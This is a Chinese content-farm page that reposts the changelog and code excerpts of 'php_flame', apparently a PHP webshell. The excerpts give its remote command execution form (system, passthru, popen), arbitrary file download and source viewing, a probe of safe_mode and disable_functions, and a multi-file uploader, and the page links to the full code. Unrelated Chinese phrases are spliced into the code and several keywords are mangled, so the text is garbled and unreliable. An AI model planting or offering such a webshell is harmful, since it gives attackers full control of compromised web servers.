首页 > 作文

PHP

更新时间:2023-04-06 08:25:33 阅读: 评论:0

i php_flame (version: progress ) 的一些信息:

*修正了无法下载文件的bug

*修正了无法返回上级的bug

*修正了代码编辑出现错误的bug

……

*增加phpinfo的功能

*增加多文件下载的功能

*增加执行系统命令的功能

*增加代码查看功能

*增加服务器安全探测功能

…….

*还有许多美化工作。。。。。。 相关的资料:

1。修正了无法返回上级的bug的代码:

echo “<a href=\”$php_lf?act=dir&dir=$dir\..\”>返回上级</a>”;

2。修正了无法下载文件的相关代码:

ca “download”:

if (!@is_file($_get[‘file_name’]))

echo”你要下的文件不存在”;

$filename = baname($_get[‘file_name’]);

$filename_info = explode(‘.’, $filename);

$fileext = $filename_info[count($filename_info)-1];

header(‘content-type: application/x-‘.$fileext);

header(‘content-disposition: attachment; filename=’.$filename);

header(‘content-description: php3 generated data’);

readfile($_get[‘file_name’]);

bre督查工作总结ak;

3。增加代码查看功能

<a href=”<?echo$php_lf;?>?actionaa=cmd&method=show_source&cmd=<? echo $_get[‘file’];?>” target=_blank>文件代码</a>

4。修正了代码编辑出现错误的代码:

$tem= str_replace(“/textarea>”,”//textarea>”,$tem);

。。。。。

$tem= str_replace(“//textarea>”,”/textarea>”,$tem);

5。增加服务器安全探测功能:

if (get_cfg_var(“safe_mode”))echo”on<br>”;el echo”off<br>”;

echo “* disable_functions:”;$dis_func=get_cfg_var(“disable_functions”);

if ($dis_func==””)

{

echo(“<font color=red><b>no value</b></font>”);

}

el

{

$dis_func=str_replace(” “,”<br>”,$dis_func);

$dis_func=str_replace(“,”,”<br>”,$dis_func);

echo(“$dis_func”);

}

6。执行系统命令部分的代码:

<?

if ($actionaa==”cmd”) { ?>

<body bgcolor=”#6595d6″>

<form name=”form1″ method=”post” action=”<?= $php_lf ?>?actionaa=cmd”>

<lect name=”method”>

<option value=”system” <? if ($method==”system”) { echo “lected”; } ?>>system</option>

<option value=”passthru” <? if ($method==”passthru”) { echo “lected”; } ?>>passthru</option>

<option value=”show_source” <? if ($method==”show_source”) { echo “lected”; } ?>>show_source</option>

<option value=”opendir” <? if ($method==”opendir”) { echo “lected”; } ?>>opendir</option>

<option value=”popen” <? if ($method==”popen”) { echo “lected”; } ?>>popen</option>

</lect><br>

<input type=”text” name=”cmd” size=”40″ value=”<?= $cmd; ?>”>

<input type=”submit” name=”submit” value=”<?=$method?>”>

<br>

</form>

<?

if (!$method) { $method=”system”; }

if (!$cmd) {

echo “* jsw’s php flame<br>”;

echo “* author: jsw<br>”;

echo “* safe_mode:”;if (get_cfg_var(“safe_mode”))echo”on<br>”;el echo”off<br>”;

echo “* disable_functions:”;$dis_func=get_cfg_var(“disable_functions”);

if ($dis_func==””)

{

echo(“<font color=red><b>no value</b></font>”);

}

el

{

$dis_func=str_replace(” “,”<br>”,$dis_func);

$dis_func=str_replace(“,”,”<br>”,$dis_func);

echo(“$dis_func”);

}

echo “<br>* now plea choo a function and enter the command……”;

}

echo “<br><pre>”;

if ($method==”system”) {

system(“$cmd 2>&1”);

}

if ($method==”passthru”) {

passthru(“$cmd 2>&1”);

}

if ($method==”opendir”) {

$h=opendir($cmd);

while($file=readdir($h)) {

echo “$file\n”;

}

}

if ($method==”show_source”) {

if (show_source($cmd)) {

//echo “<pre>”;

//echo show_source($file);

//echo “</pre>”;

} el {

火影忍者实力排行榜echo “<script> alert(\”unable to read file: $file using: show_source\”); </script>”;

}

}

if ($method==”popen”) {

$pp = popen(‘$cmd 2>&1’, ‘r’);

$read = fread($pp, 2096);

echo $read;

pclo($pp);

}

echo “</pre>”;

exit;

}

?>

7。增加文件上载的代码:

<?php

if($dir==””)

$dir=”./”;

?>

<?

if($tools==upload)

{

for($i=1;$i<21;$i++)

{

$temp1=”urfile”.$i;

$temp2=”urfile”.$i.”_name”;

$source=$$temp1;

$source_name=$$temp2;

if(@$source!=””)

{

@$v=file_exists($filedir);

if(!$v)

{

mkdir(@$filedir,0777);

}

@chmod($filedir,0777);

if(file_exists(“$filedir/$source_name”)==”1″)

{

if($up_flag==”y”)

{

@unlink($filedir/$source_n奥巴马发表国情咨文ame);

@copy($source,”$filedir/$source_name”);

echo $source_name.”已覆盖上传<br>”;

}

el

echo $source_name.”请重新上传!<br>”;

}

el

{

@copy($source,”$filedir/$source_name”);

echo $source_name.”已上传<br>”;

}

}

}//end for

echo”

<html>

<head>

<title>jsw’s php flame</title>

<meta http-equiv=\”content-type\” content=\”text/html; chart=gb2312\”>

<link href=t.css rel=stylesheet type=text/css>

<script language=\”javascript\”>

function tid()

{

str='<br>’;

if(!window.uploadform.upcount.value

window.uploadform.upcount.value>20

window.uploadform.upcount.value==0)

window.uploadform.upcount.value=1;

for(i=1;i<=window.uploadform.upcount.value;i++)

str+=’文件’+i+’:<input type=\”file\” name=\”urfile’+i+’\” style=\”width:400\” class=\”tx1\”><br><br>’;

window.upid.innerhtml=str+'<br>’;

}

</script>

</head>

<body>

<body bgcolor=\”#6595d6\”>

<table width=\”550\” border=\”1\” cellspacing=\”0\” cellpadding=\”5\” align=\”center\”>

<form name=\”t\” method=\”get\” action=\”?\”>

<tr class=\”t2\”>

<td><li> 1.指定上传目录(默认为本程序所在目录)

<input type=\”hidden\” name=\”协调作用;tools\” value=\”upload\”>

<input type=\”text\” name=\”dir\”>

<input type=\”submit\” value=\”确定\” name=\”t\”></td></li>

</tr>

</form>

<form name=\”uploadform\” method=\”post\” action=\”?tools=upload&dir=$dir\” enctype=\”multipart/form-data\”>

<tr class=\”t2\”>

<td>

<li> 2.需要上传的个数(建议最大值 20)

<input type=\”text\” name=\”upcount\” class=\”tx\” value=\”1\”>

<input type=\”button\” name=\”button\” class=\”bt\” onclick=\”tid();\” value=\”设定\”>

</li>

<li> 3.全部文件都覆盖上传: <input type=\”radio\” name=\”up_flag\R形容高山的成语21; value=\”y\”>是<input type=\”radio\” name=\”up_flag\” value=\”n\” checked>否

</li>

<br>

<br>

您的文件将被上传到: $dir

<input type=\”hidden\” name=\”filedir\” class=\”tx\” value=\”$dir\”>

<a href=\”?\”>返回php_flame</a>

</td>

</tr>

<tr>

<td id=\”upid\” height=\”122\”> 文件1:

<input type=\”file\” name=\”urfile1\” style=\”width:400\” class=\”tx1\” value=\”\”>

</td>

</tr>

<tr>

<td>

<input type=\”submit\” name=\”upload\” value=\”上传\” class=\”bt\”>

<input type=\”ret\” name=\”ret\” value=\”重执\” class=\”bt\”>

</td>

</tr></form>

</table>

</body>

</html>”;

exit;}

?>

。。。。。。

最后指明的是,这个php程序是在安然的php command的基础上编写的,在此表示感谢,完整代码: http://jsw.china12e.com/jswsoft/show.php

本文发布于:2023-04-06 08:25:31,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/zuowen/27ecc7a24eba9d0c74408bac34a91334.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

本文word下载地址:PHP.doc

本文 PDF 下载地址:PHP.pdf

标签:代码   文件   上传   功能
相关文章
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图